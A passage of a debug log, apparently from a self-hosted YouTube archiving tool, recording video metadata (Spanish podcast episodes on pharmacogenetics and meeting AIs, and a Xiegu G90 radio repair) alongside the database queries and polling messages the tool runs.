¿Ibuprofeno o Paracetamol?.m4a", "id" => "IlFLmj6bDiw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=IlFLmj6bDiw", "playlist_index" => 33, "timestamp" => 1751014857, "title" => "EP.17 - ¿Ibuprofeno o Paracetamol?", "upload_date" => "20250627"} 22:24:10.564 [debug] QUERY OK source="sources" db=0.7ms idle=803.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:24:10.565 [debug] QUERY OK source="sources" db=0.5ms idle=804.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:24:10.566 [debug] QUERY OK source="media_items" db=0.8ms idle=805.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-27 09:00:57Z], 2] 22:24:10.568 [debug] QUERY OK source="media_items" db=1.3ms idle=806.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep. 1️⃣7️⃣ : Ibupronefo o Paracetamol🧬\n\nLo deberiamos haber titulado Farmacogenética, pero necesitamos llamar tu atencion y que nos escuches. Es importante esta ciencia, es muy importante por que puede depender hasta tu vida de ella.\n\nHoy David García Martínez y yo os vamos a explicar con algún dato la importancia de esta ciencia que dentro de unos años... la tendremos integrada en la SS. (10 o 15 años calculo.... pero para mas informacion ... ve el video!!!).\n\nSi este tema os interesa también podemos hacer un directo donde podemos traer a dos expertos en la materia.... mis queridos compañeros de lifely by Origen Genetics Lucía Murillo y Mario Pimienta Calderón que nos hablen de ello un poquito mas técnico pero siempre entendible!!!\n\nBueno dejamos descansar la IA por una semana y nos centramos en tu salud en este capitulo, esperamos que os guste!\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n#IAMIQUE #Origen #ChatGPT #IAGen #GenAI #Genetics #Genetica #Farmacogenics #Farmacogenetica", "EP.17 - ¿Ibuprofeno o Paracetamol?", "cf35858f-c400-4ffa-9542-d148b81ec3ce", 665, false, "IlFLmj6bDiw", "https://www.youtube.com/watch?v=IlFLmj6bDiw", 33, "/downloads/music/IA mí QUÉ/EP.17 - ¿Ibuprofeno o Paracetamol?.m4a", false, false, false, 2, [], 98, ~U[2025-06-27 09:00:57Z], ~U[2026-02-07 21:24:10Z], ~U[2026-02-07 21:24:10Z], "#IAMIQUE 👉🏼 Ep. 1️⃣7️⃣ : Ibupronefo o Paracetamol🧬\n\nLo deberiamos haber titulado Farmacogenética, pero necesitamos llamar tu atencion y que nos escuches. Es importante esta ciencia, es muy importante por que puede depender hasta tu vida de ella.\n\nHoy David García Martínez y yo os vamos a explicar con algún dato la importancia de esta ciencia que dentro de unos años... la tendremos integrada en la SS. (10 o 15 años calculo.... pero para mas informacion ... ve el video!!!).\n\nSi este tema os interesa también podemos hacer un directo donde podemos traer a dos expertos en la materia.... mis queridos compañeros de lifely by Origen Genetics Lucía Murillo y Mario Pimienta Calderón que nos hablen de ello un poquito mas técnico pero siempre entendible!!!\n\nBueno dejamos descansar la IA por una semana y nos centramos en tu salud en este capitulo, esperamos que os guste!\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n#IAMIQUE #Origen #ChatGPT #IAGen #GenAI #Genetics #Genetica #Farmacogenics #Farmacogenetica", "EP.17 - ¿Ibuprofeno o Paracetamol?", 665, false, "IlFLmj6bDiw", "https://www.youtube.com/watch?v=IlFLmj6bDiw", "/downloads/music/IA mí QUÉ/EP.17 - ¿Ibuprofeno o Paracetamol?.m4a", false, 2, ~U[2025-06-27 09:00:57Z]] 22:24:10.569 [debug] QUERY OK source="sources" db=0.4ms idle=364.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:24:10.570 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:24:10.570 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1334] 22:24:10.571 [debug] Current batch of media processed. Will check again in 1000ms 22:24:10.613 [debug] Current batch of media processed. Will check again in 1000ms 22:24:11.571 [debug] Current batch of media processed. Will check again in 1000ms 22:24:11.614 [debug] Current batch of media processed. Will check again in 1000ms 22:24:12.572 [debug] Current batch of media processed. Will check again in 1000ms 22:24:12.615 [debug] Current batch of media processed. Will check again in 1000ms 22:24:13.573 [debug] Current batch of media processed. Will check again in 1000ms 22:24:13.616 [debug] Current batch of media processed. Will check again in 1000ms 22:24:14.574 [debug] Current batch of media processed. Will check again in 1000ms 22:24:14.617 [debug] Current batch of media processed. Will check again in 1000ms 22:24:15.575 [debug] Current batch of media processed. Will check again in 1000ms 22:24:15.618 [debug] Current batch of media processed. Will check again in 1000ms 22:24:16.576 [debug] Current batch of media processed. Will check again in 1000ms 22:24:16.619 [debug] Current batch of media processed. Will check again in 1000ms 22:24:17.577 [debug] Current batch of media processed. Will check again in 1000ms 22:24:17.620 [debug] Current batch of media processed. Will check again in 1000ms 22:24:18.578 [debug] Current batch of media processed. Will check again in 1000ms 22:24:18.621 [debug] Current batch of media processed. Will check again in 1000ms 22:24:19.579 [debug] Current batch of media processed. Will check again in 1000ms 22:24:19.622 [debug] Current batch of media processed. Will check again in 1000ms 22:24:20.580 [debug] Current batch of media processed. Will check again in 1000ms 22:24:20.623 [debug] Current batch of media processed. Will check again in 1000ms 22:24:21.185 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:21.581 [debug] Current batch of media processed. Will check again in 1000ms 22:24:21.624 [debug] Current batch of media processed. Will check again in 1000ms 22:24:22.582 [debug] Current batch of media processed. Will check again in 1000ms 22:24:22.625 [debug] Current batch of media processed. Will check again in 1000ms 22:24:23.583 [debug] Current batch of media processed. Will check again in 1000ms 22:24:23.626 [debug] Current batch of media processed. Will check again in 1000ms 22:24:24.584 [debug] Current batch of media processed. Will check again in 1000ms 22:24:24.627 [debug] Current batch of media processed. Will check again in 1000ms 22:24:25.585 [debug] Current batch of media processed. Will check again in 1000ms 22:24:25.628 [debug] Current batch of media processed. Will check again in 1000ms 22:24:26.586 [debug] Current batch of media processed. Will check again in 1000ms 22:24:26.629 [debug] Current batch of media processed. Will check again in 1000ms 22:24:27.587 [debug] Current batch of media processed. Will check again in 1000ms 22:24:27.630 [debug] Current batch of media processed. Will check again in 1000ms 22:24:28.588 [debug] Current batch of media processed. Will check again in 1000ms 22:24:28.631 [debug] Current batch of media processed. Will check again in 1000ms 22:24:29.589 [debug] Current batch of media processed. Will check again in 1000ms 22:24:29.632 [debug] Current batch of media processed. Will check again in 1000ms 22:24:30.590 [debug] Current batch of media processed. Will check again in 1000ms 22:24:30.633 [debug] Current batch of media processed. Will check again in 1000ms 22:24:31.591 [debug] Current batch of media processed. Will check again in 1000ms 22:24:31.634 [debug] Current batch of media processed. Will check again in 1000ms 22:24:32.592 [debug] Current batch of media processed. Will check again in 1000ms 22:24:32.635 [debug] Current batch of media processed. Will check again in 1000ms 22:24:33.593 [debug] Current batch of media processed. Will check again in 1000ms 22:24:33.636 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Reparación de un Xiegu G90 brickeado, con procesador averiado.\n\nRecursos:\n\nPágina web de YO3HJV:\nhttps://yo3hjv.blogspot.com/2020/12/xiegu-g90-reflashing-bootloader-into.html\n\nDonde compramos el STM32F429ZGT6:\nhttps://es.aliexpress.com/item/1005004604896512.html\n\nSoftware recomendado para actualizar Firmware en el Xiegu G90\nhttps://github.com/DaleFarnsworth/g90updatefw\n\nFirmware G90:\nhttps://xiegu.eu/?sdm_process_download=1&download_id=3020\n\nDocumento de Xiegu con averias comunes:\nhttps://www.manualslib.com/manual/3012293/Xiegu-G90.html\n\nEsquemas (ojo, no son de las ultimas versiones):\nhttps://yo3hjv.blogspot.com/2022/01/xiegu-g90-full-schematic.html\n\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:47 - Intro Canal\n01:05 - La compra\n03:12 - La avería\n05:28 - Diagnostico\n11:35 - Comprando recambio\n14:05 - Desoldando y soldando\n14:56 - El conector JTAG\n17:02 - Puesta en marcha y prueba de emisión\n17:46 - Conclusiones\n\n\n#xiegu #g90 #comm #lost #reparación #diyelectronics #hamradio #radioaficionados #stm32 #gd32\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1274, "filename" => "/downloads/music/ea3grn/146 - REPARANDO XIEGU G90 AVERIADO (BRICKEADO COMM LOST).m4a", "id" => "3-9hEwx2rXM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3-9hEwx2rXM", "playlist_index" => 35, "timestamp" => 1739469603, "title" => "146 - REPARANDO XIEGU G90 AVERIADO (BRICKEADO COMM LOST)", "upload_date" => "20250213"} 22:24:33.637 [debug] QUERY OK source="sources" db=0.7ms idle=1876.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:24:33.638 [debug] QUERY OK source="sources" db=0.6ms idle=1877.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:24:33.639 [debug] QUERY OK source="media_items" db=0.8ms idle=1392.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-13 18:00:03Z], 3] 22:24:33.641 [debug] QUERY OK source="media_items" db=1.4ms idle=879.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Reparación de un Xiegu G90 brickeado, con procesador averiado.\n\nRecursos:\n\nPágina web de YO3HJV:\nhttps://yo3hjv.blogspot.com/2020/12/xiegu-g90-reflashing-bootloader-into.html\n\nDonde compramos el STM32F429ZGT6:\nhttps://es.aliexpress.com/item/1005004604896512.html\n\nSoftware recomendado para actualizar Firmware en el Xiegu G90\nhttps://github.com/DaleFarnsworth/g90updatefw\n\nFirmware G90:\nhttps://xiegu.eu/?sdm_process_download=1&download_id=3020\n\nDocumento de Xiegu con averias comunes:\nhttps://www.manualslib.com/manual/3012293/Xiegu-G90.html\n\nEsquemas (ojo, no son de las ultimas versiones):\nhttps://yo3hjv.blogspot.com/2022/01/xiegu-g90-full-schematic.html\n\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:47 - Intro Canal\n01:05 - La compra\n03:12 - La avería\n05:28 - Diagnostico\n11:35 - Comprando recambio\n14:05 - Desoldando y soldando\n14:56 - El conector JTAG\n17:02 - Puesta en marcha y prueba de emisión\n17:46 - Conclusiones\n\n\n#xiegu #g90 #comm #lost #reparación #diyelectronics #hamradio #radioaficionados #stm32 #gd32\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "146 - REPARANDO XIEGU G90 AVERIADO (BRICKEADO COMM LOST)", "3e1db404-797c-499c-99f3-720d86593107", 1274, false, "3-9hEwx2rXM", "https://www.youtube.com/watch?v=3-9hEwx2rXM", 35, "/downloads/music/ea3grn/146 - REPARANDO XIEGU G90 AVERIADO (BRICKEADO COMM LOST).m4a", false, false, false, 3, [], 98, ~U[2025-02-13 18:00:03Z], ~U[2026-02-07 21:24:33Z], ~U[2026-02-07 21:24:33Z], "Reparación de un Xiegu G90 brickeado, con procesador averiado.\n\nRecursos:\n\nPágina web de YO3HJV:\nhttps://yo3hjv.blogspot.com/2020/12/xiegu-g90-reflashing-bootloader-into.html\n\nDonde compramos el STM32F429ZGT6:\nhttps://es.aliexpress.com/item/1005004604896512.html\n\nSoftware recomendado para actualizar Firmware en el Xiegu G90\nhttps://github.com/DaleFarnsworth/g90updatefw\n\nFirmware G90:\nhttps://xiegu.eu/?sdm_process_download=1&download_id=3020\n\nDocumento de Xiegu con averias comunes:\nhttps://www.manualslib.com/manual/3012293/Xiegu-G90.html\n\nEsquemas (ojo, no son de las ultimas versiones):\nhttps://yo3hjv.blogspot.com/2022/01/xiegu-g90-full-schematic.html\n\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:47 - Intro Canal\n01:05 - La compra\n03:12 - La avería\n05:28 - Diagnostico\n11:35 - Comprando recambio\n14:05 - Desoldando y soldando\n14:56 - El conector JTAG\n17:02 - Puesta en marcha y prueba de emisión\n17:46 - Conclusiones\n\n\n#xiegu #g90 #comm #lost #reparación #diyelectronics #hamradio #radioaficionados #stm32 #gd32\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "146 - REPARANDO XIEGU G90 AVERIADO (BRICKEADO COMM LOST)", 1274, false, "3-9hEwx2rXM", "https://www.youtube.com/watch?v=3-9hEwx2rXM", "/downloads/music/ea3grn/146 - REPARANDO XIEGU G90 AVERIADO (BRICKEADO COMM LOST).m4a", false, 3, ~U[2025-02-13 18:00:03Z]] 22:24:33.642 [debug] QUERY OK source="sources" db=0.5ms idle=394.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:24:33.643 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:24:33.644 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1361] 22:24:33.644 [debug] Current batch of media processed. Will check again in 1000ms 22:24:34.594 [debug] Current batch of media processed. Will check again in 1000ms 22:24:34.644 [debug] Current batch of media processed. Will check again in 1000ms 22:24:35.595 [debug] Current batch of media processed. Will check again in 1000ms 22:24:35.645 [debug] Current batch of media processed. Will check again in 1000ms 22:24:36.596 [debug] Current batch of media processed. Will check again in 1000ms 22:24:36.646 [debug] Current batch of media processed. Will check again in 1000ms 22:24:37.597 [debug] Current batch of media processed. Will check again in 1000ms 22:24:37.647 [debug] Current batch of media processed. Will check again in 1000ms 22:24:38.598 [debug] Current batch of media processed. Will check again in 1000ms 22:24:38.648 [debug] Current batch of media processed. Will check again in 1000ms 22:24:39.599 [debug] Current batch of media processed. Will check again in 1000ms 22:24:39.649 [debug] Current batch of media processed. Will check again in 1000ms 22:24:40.600 [debug] Current batch of media processed. Will check again in 1000ms 22:24:40.650 [debug] Current batch of media processed. Will check again in 1000ms 22:24:41.601 [debug] Current batch of media processed. Will check again in 1000ms 22:24:41.651 [debug] Current batch of media processed. Will check again in 1000ms 22:24:42.602 [debug] Current batch of media processed. Will check again in 1000ms 22:24:42.652 [debug] Current batch of media processed. Will check again in 1000ms 22:24:43.603 [debug] Current batch of media processed. Will check again in 1000ms 22:24:43.653 [debug] Current batch of media processed. Will check again in 1000ms 22:24:44.604 [debug] Current batch of media processed. Will check again in 1000ms 22:24:44.654 [debug] Current batch of media processed. Will check again in 1000ms 22:24:45.605 [debug] Current batch of media processed. Will check again in 1000ms 22:24:45.655 [debug] Current batch of media processed. Will check again in 1000ms 22:24:46.606 [debug] Current batch of media processed. Will check again in 1000ms 22:24:46.656 [debug] Current batch of media processed. Will check again in 1000ms 22:24:47.607 [debug] Current batch of media processed. Will check again in 1000ms 22:24:47.657 [debug] Current batch of media processed. Will check again in 1000ms 22:24:48.608 [debug] Current batch of media processed. Will check again in 1000ms 22:24:48.658 [debug] Current batch of media processed. Will check again in 1000ms 22:24:49.609 [debug] Current batch of media processed. Will check again in 1000ms 22:24:49.659 [debug] Current batch of media processed. Will check again in 1000ms 22:24:50.610 [debug] Current batch of media processed. Will check again in 1000ms 22:24:50.660 [debug] Current batch of media processed. Will check again in 1000ms 22:24:51.186 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:51.611 [debug] Current batch of media processed. Will check again in 1000ms 22:24:51.661 [debug] Current batch of media processed. Will check again in 1000ms 22:24:52.612 [debug] Current batch of media processed. Will check again in 1000ms 22:24:52.662 [debug] Current batch of media processed. Will check again in 1000ms 22:24:53.613 [debug] Current batch of media processed. Will check again in 1000ms 22:24:53.663 [debug] Current batch of media processed. Will check again in 1000ms 22:24:54.614 [debug] Current batch of media processed. Will check again in 1000ms 22:24:54.664 [debug] Current batch of media processed. Will check again in 1000ms 22:24:55.615 [debug] Current batch of media processed. Will check again in 1000ms 22:24:55.665 [debug] Current batch of media processed. Will check again in 1000ms 22:24:56.616 [debug] Current batch of media processed. Will check again in 1000ms 22:24:56.666 [debug] Current batch of media processed. Will check again in 1000ms 22:24:57.617 [debug] Current batch of media processed. Will check again in 1000ms 22:24:57.667 [debug] Current batch of media processed. Will check again in 1000ms 22:24:58.618 [debug] Current batch of media processed. Will check again in 1000ms 22:24:58.668 [debug] Current batch of media processed. Will check again in 1000ms 22:24:59.619 [debug] Current batch of media processed. Will check again in 1000ms 22:24:59.669 [debug] Current batch of media processed. Will check again in 1000ms 22:25:00.100 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:00.620 [debug] Current batch of media processed. Will check again in 1000ms 22:25:00.670 [debug] Current batch of media processed. Will check again in 1000ms 22:25:01.621 [debug] Current batch of media processed. Will check again in 1000ms 22:25:01.671 [debug] Current batch of media processed. Will check again in 1000ms 22:25:02.622 [debug] Current batch of media processed. Will check again in 1000ms 22:25:02.672 [debug] Current batch of media processed. Will check again in 1000ms 22:25:03.623 [debug] Current batch of media processed. Will check again in 1000ms 22:25:03.673 [debug] Current batch of media processed. Will check again in 1000ms 22:25:04.624 [debug] Current batch of media processed. Will check again in 1000ms 22:25:04.674 [debug] Current batch of media processed. Will check again in 1000ms 22:25:05.625 [debug] Current batch of media processed. Will check again in 1000ms 22:25:05.675 [debug] Current batch of media processed. Will check again in 1000ms 22:25:06.626 [debug] Current batch of media processed. Will check again in 1000ms 22:25:06.676 [debug] Current batch of media processed. Will check again in 1000ms 22:25:07.627 [debug] Current batch of media processed. Will check again in 1000ms 22:25:07.690 [debug] Current batch of media processed. Will check again in 1000ms 22:25:08.628 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Si tienes reuniones todos los días este es tu video! Os vamos a liberar de un montón de horas en el próximo mes... y ni te cuento en el resto de tu vida...\nPero tienes que hacernos caso!!! 😉 \n\n 👉 x 10 minutos te ahorramos 10horas en los dos proximos meses... trato????\n\n💡Hoy os explicamos como usar las IA's de reuniones, no solo para reunirte de una manera 2 o 3 veces mas eficiente, sino también para hacer consultoría, ser secretario del comité/consejo/junta... o lo que se pueda ocurrir.\n\n💣Bonus Track: Esta es de las charlas mas practicas que damos... y os proponemos un reto.. si 20 agregáis en comentarios que queréis que hagamos un directo una tarde para explicarlo en detalle... así lo haremos!. \n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#fireflies hashtag#Copilot\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "duration" => 710, "filename" => "/downloads/music/IA mí QUÉ/EP.15: IAS DE REUNIONES.m4a", "id" => "sgGpVi5I_q8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sgGpVi5I_q8", "playlist_index" => 34, "timestamp" => 1750943579, "title" => "EP.15: IAS DE REUNIONES", "upload_date" => "20250626"} 22:25:08.629 [debug] QUERY OK source="sources" db=0.6ms idle=1868.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:25:08.630 [debug] QUERY OK source="sources" db=0.4ms idle=1869.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:25:08.631 [debug] QUERY OK source="media_items" db=0.7ms idle=1317.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-26 13:12:59Z], 2] 22:25:08.633 [debug] QUERY OK source="media_items" db=1.2ms idle=870.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET 